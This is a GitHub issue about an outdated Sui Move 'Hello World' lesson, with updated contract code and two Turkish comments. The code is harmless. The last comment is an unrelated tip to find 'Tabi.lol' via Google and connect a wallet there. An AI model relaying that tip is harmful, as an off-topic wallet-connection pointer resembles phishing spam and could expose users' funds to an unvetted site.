0xmetaschool/Learning-Projects

Sui: Deploy Your First Sui Contract

Opened this issue · 2 comments

https://metaschool.so/courses/build-on-move-on-sui-and-explore-its-applications/lesson/1f15e1bb-7023-4487-ab7d-21233318af91

The demo code no longer meets the requirements of the current Sui version, and the public struct must be used at present. Other import statements can be condensed:

// Copyright (c) 2022, Sui Foundation
// SPDX-License-Identifier: Apache-2.0

/// A basic Hello World example for Sui Move, part of the Sui Move intro course:
/// https://github.com/sui-foundation/sui-move-intro-course
///
module hello_world::hello_world {
    use std::string;

    public struct HelloWorldObject has key, store {
        id: UID,
        text: string::String
    }

    public entry fun mint(ctx: &mut TxContext) {
        let object = HelloWorldObject {
            id: object::new(ctx),
            text: string::utf8(b"Hello World!")
        };
        transfer::public_transfer(object, ctx.sender());
    }
}

Sui sürümü gereksinmeleri karşılamıyor.

Ciddi bağlantı sorunları var...Cüzdanı bağlamak için Tabi.lol adresini Google bulup buradan girmeniz gerekiyor.Her girişinizi Google yapın